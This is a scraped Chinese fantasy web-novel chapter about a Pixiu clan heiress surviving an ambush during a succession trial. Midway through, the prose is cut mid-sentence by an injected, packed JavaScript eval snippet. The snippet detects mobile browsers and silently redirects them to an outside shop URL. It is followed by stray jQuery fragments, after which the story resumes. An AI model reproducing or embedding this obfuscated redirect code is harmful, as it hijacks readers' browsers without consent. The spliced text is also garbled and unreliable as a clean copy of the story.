貔貅一族向来子嗣艰难,这也就导致了在确认继承人的时候并不需要过多纠结,毕竟确实没有什么选择的余地。只要继承人的资质合格,辅佐他的下属们靠谱,基本不会有太大的波折。
唯有这一代不同,因为一些原因,有资格成为商会会长的候选人足足有三个。
他们分别是会长的长女金毓棠,次子金承宇,三子金承泽。
但是金貔貅商会的老人都知道,真正的继承人只有大小姐金毓棠,后面两个是被动了手脚塞进去的。
追溯历史,现任会长和前任会长是联姻夫妻关系,只不过前任会长的血统更加纯正,所以首先掌权的是她。
然而,在一次去往商务会谈的时候,前任会长突然失去了踪迹。若不是属于她的长明灯还亮着,死亡讣告就下来了。
因他们的独女金毓棠的年纪还太小,连化形都不太熟练,所以由当时血统最纯正的貔貅,也就是金毓棠的父亲,暂代会长一职。
事实证明,母亲掌权和父亲掌权对后代的影响是截然相反的。
连十年都没有熬过,现任会长就收了个妾室,还在外面养了个人类外室。大概是对正妻有了心理阴影,妾室和外室都是男性。多亏了这是修真界,不然同性之间基本不可能有孩子。
又没过多久,妾室和外室接连生下了孩子,让大小姐的处境也变得艰难起来。
所有本该属于大小姐的东西都会被有意无意的“分”出一些给她的弟弟们,即使她百般不愿,使劲阻拦,也没有办法。
年幼的孩子她没有办法反抗自己的父亲,只能用一些方式来维护自己的利益。
众所周知,只要沾染过权利的滋味,就越来越舍不得放手。
现任会长开始不着痕迹的排除异己,让自己的两个孩子也开始插手商会的继承权。
在他看来,长女的脾气又倔又硬,哪有两个儿子的崇拜讨好来得贴心。
越是看着女儿,越是能想到当初入赘时的憋屈。加上妾室和外室跟着上眼药,一来二去之下,他也开始对女儿不管不问。
好在前代会长留给独女的亲信们大多忠心耿耿,时刻不忘护着金毓棠,这才让她得到足够的时间成长起来。
近期,现任会长旧伤复发,命不久矣,所以才不得不选出继承人。
一时间,三处势力各怀鬼胎,人心浮动。
*
当金毓棠勉强从昏迷中醒来的时候,周围一片混乱。
尖叫声,利器的破空声,还有某种沉闷的声音响成一片。
伤口中的木头渣子没有被剔除,细微的钝痛让金毓棠彻底清醒。她迅速从储物戒中找出几枚丹药塞进嘴里,尽可能为自己疗伤和快速恢复体力。
今天本是继承人的选拔会,所有继承人将会进入一片幻境,并利用相同数量的本金去经营资产,最终本金和利润加起来最高的获胜。
可是在选拔开始前,金毓棠就意识到自己中了毒。头晕眼花不提,连灵力运转都异常滞涩。
但她没有证据,不知道自己究竟在什么地方中了计,只能用丹药吊着精神。
毕竟,她绝不容许那两个不知道从哪里来的弟弟抢了阿娘留给自己的东西。
好在醒来的时候一切还没有开始。
金毓棠冷静的想着。
她抓紧时间观察周围的情况,白着一张脸向下属们下达指示,并在一旁寻找机会突围。
和自己的“亲人们”打交道久了,金毓棠根本不相信有什么莫名其妙的刺客,其中必然有某个好弟弟甚至是好父亲的手笔。
她嗤笑一声,转动匕首挑出了伤口中的木刺。
就在这时,金毓棠最信任的下属沉徽轻轻拽了拽她的袖子,示意往某个方向看。
金毓棠对自己的下属兼儿时玩伴绝对信任,她下意识的抬头看去,这是这一眼让她本就苍白的脸色更加难看。
只见潜入大堂的刺客不仅仅是杀人灭口,而是用能够长期保鲜的冰玉瓶去接貔貅的心头血,用冰玉匣子装貔貅的心脏和额上尖角。
这下,事情就严重了,直接从内部斗争转变为了更加恶劣的阴谋。
她下意识的看向了私生子三弟,他的尸体已经被挑起来挂在了架子上,彻底妖兽化的脸上还残留着惊惧和不可置信的表情。
很好,引狼入室的已经被灭口了。
金毓棠冷漠的移开视线,觊觎、贩卖或协助贩卖同族血肉一向是无法饶恕的重罪。
然后是能力中庸,没什么主见的二弟。他约束下属的能力有限,导致在突发事件出现的时候没几个人听他的,秩序极差。
看起来或许和他没有直接联系,但未必没有下属私自牵线的可能性。
只是闯入大堂的人训练有素,手段毒辣。假借刺客的身份想要将所有人都灭口。不像是一般恶徒,更像是一场有计划,有组织的“收割”。
他们想要取下稀有妖兽的零部件,放到外面去售卖,谋取暴利。
当然,被伤害的貔貅一族只觉得恶心。
金毓棠因为母亲失踪的缘故,从小心理就非常敏感,常用过强的自尊心去保护自己。
她血缘上的父亲一向对自己不太喜欢,若不是阿娘留下的势力在一旁时刻给出压力,才不会像现在一样捏着鼻子对自己好。
在家中,只要不太过火,明面上在三个孩子中还是以她为先。
只不过,金毓棠暗地里失去的,比两个弟弟的都要多。
渐渐的,年幼的金毓棠学会了在其他人面前强调嫡出长女的身份,试图用这种方式麻痹自己,让自己忘记惨淡的事实。当然,她在背地里始终不忘努力修炼,为的就是想要尽快得到足够保护自己的力量。
可是,习惯一旦养成了就很难更改。
金毓棠越是强调自己为嫡为长的身份,就越是觉得斤斤计较的自己可悲,被迫养成的怪异说话方式也让她渐渐被人疏远。
她并不知道怎么做才能抢回自己失去的尊严和权力,只能笨拙的在他人面前筑起一道高墙。
孩子的三观往往需要父母亲人的引导,失踪的母亲,缺位的父亲,让金毓棠的三观出现了不可避免的扭曲。
好在阿娘留下的亲信一直护着她,在犯错的时候直言不讳,并让自己改正,不然她连活到现在都难。
在金毓棠暗自沉思的时候,她忽然意识到周围的人墙中出现了缺口,如果顺利的话,说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748193|209363||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不定能带着自己的下属们强行突围。
于是,她迅速从衣服上撕下布条包起伤口,用眼神示意下属们突围。
自己本就中了毒,再加上无色无味的毒烟在不断侵蚀着所有人的体力,留在这里必然没有好下场,活着才能有出路!
殊死一搏的时候,往往会更加不择手段。
在场的所有人都没有想到,中了毒又负伤的金毓棠还能爆发出这样强大的力量。
她不顾伤势强行半兽化,双眼变为竖瞳,额上伸出一对盈润的角,双手变为利爪。
解除部分化形或回归原型能让妖兽的力量和速度得到增幅。
借着这股力量,金毓棠硬是和下属们在混乱中撕开了一条口子。
大门越来越近了。
她们握紧了手中的武器,准备迎接门外的杀意。
谁都没有想到,大门突然从外面打开了,一股莫名其妙的预感让金毓棠放声大喊。
“趴下!侧面散开!”
金毓棠的嗓子都破了音。
外面先是数枚泛着幽蓝光芒的毒镖接连飞入,接着又是几杆长枪围追堵截。
攻势太过密集,防不胜防,身后有人永远闭上了眼睛。
目睹这一切的金毓棠咬紧了牙,强烈的惧意和脱力感让她的眼前冒出了黑光,肌肉也开始痉挛。
可是作为被保护的那一个,她不可以主动退缩,让下属们失望。只要活过今天,她敢肯定自己就是最后的胜者。
但事情并没有金毓棠想象得那么简单。
下一秒,一柄两米多高的重锤就要向她的头部砸来!
来不及了,金毓棠只能选择硬抗。
就在布满尖刺的表面就快接触到金毓棠的时候,一支泛着森然寒气的箭矢击中了握锤的手腕。刺骨的寒意腐蚀了筋脉,剧烈的疼痛阻断了沉重的气力,让锤子的行动轨迹稍稍偏移了些。
知道有人在暗中帮她,金毓棠的眼睛一亮。她立刻往侧面一滚,险之又险的躲开了致命一击。
在背后,又有几支箭矢同时飞出,让使用重锤的杀手当场毙命。
当她抬起头的时候,自然顺着箭矢的方向看见了自己的救命恩人。
那是个人修,环绕在身边的灵力极其强大,且一开始就躲开了所有人的耳目潜入了会场,不知围观这场闹剧到了几时。
他的面目极其陌生,显然并不属于金貔貅商会,气质倒是与那些杀手不同,像是来自第三方势力的人。
无论如何,这个陌生人修帮了自己,这一点让金毓棠的心里稍稍安定了些。
但眼下混乱的情形不容许金毓棠想得更多,见杀手们调转目标朝向了他,便大喊道:“恩人,小心!”
回应金毓棠的是数支利箭,且这些箭矢的速度极快,还没等杀手们使出手段,就精准没入了他们的胸口。
一击毙命!
霎时间,场面安静了。
金毓棠看见自己的救命恩人从房梁上一跃而下,缓步向自己走来。
在下属们警惕的目光中,陌生修士轻轻笑了笑。
“别紧张,我只是路过而已。和我做个交易吧,作为报酬,我会保护你活过今晚。”